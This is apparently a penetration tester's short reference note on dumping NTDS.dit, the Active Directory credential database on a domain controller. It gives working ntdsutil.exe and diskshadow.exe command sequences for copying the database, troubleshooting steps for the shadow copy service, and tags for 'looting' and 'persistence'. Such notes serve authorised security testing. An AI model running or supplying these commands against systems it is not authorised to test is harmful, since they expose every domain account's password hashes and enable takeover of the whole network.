Dump NTDS.dit

Dump NTDS.dit Using ntdsutil.exe

With interactive command-line

1. run ntdsutil.exe
2. execute activate instance ntds
3. execute ifm
4. execute create full c:\temp-pentest

Without interactive command-line

1. run ntdsutil.exe "activate instance ntds" "ifm" "create full c:\temp-pentest" q q

Example

Dump NTDS.dit Using diskshadow.exe 2. Run:

diskshadow.exe
set context persistent
add volume C:
create
expose %VSS_SHADOW_1% z:
exit

Common Issues

Volume Shadow Copy service not running

Sometimes the VSS service needs to be started

net start VSS

Reregister DLL’s

• sometimes the dependent DLL’s need to be re-registered

cd C:\Windows\System32
regsvr32 ole32.dll
regsvr32 oleaut32.dll
net stop VSS
net start VSS

Use RDP or alternative interactive shells when possible

• previous issues running ntdsutil.exe from psexec.py and evil-winrm

Use a different tool

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory") OR contains(tags, "looting") OR contains(tags, "ntds-dit") OR contains(tags, "persistence")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC

looting

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "looting")
SORT file.ctime DESC

ntds-dit

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "ntds-dit")
SORT file.ctime DESC

persistence

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "persistence")
SORT file.ctime DESC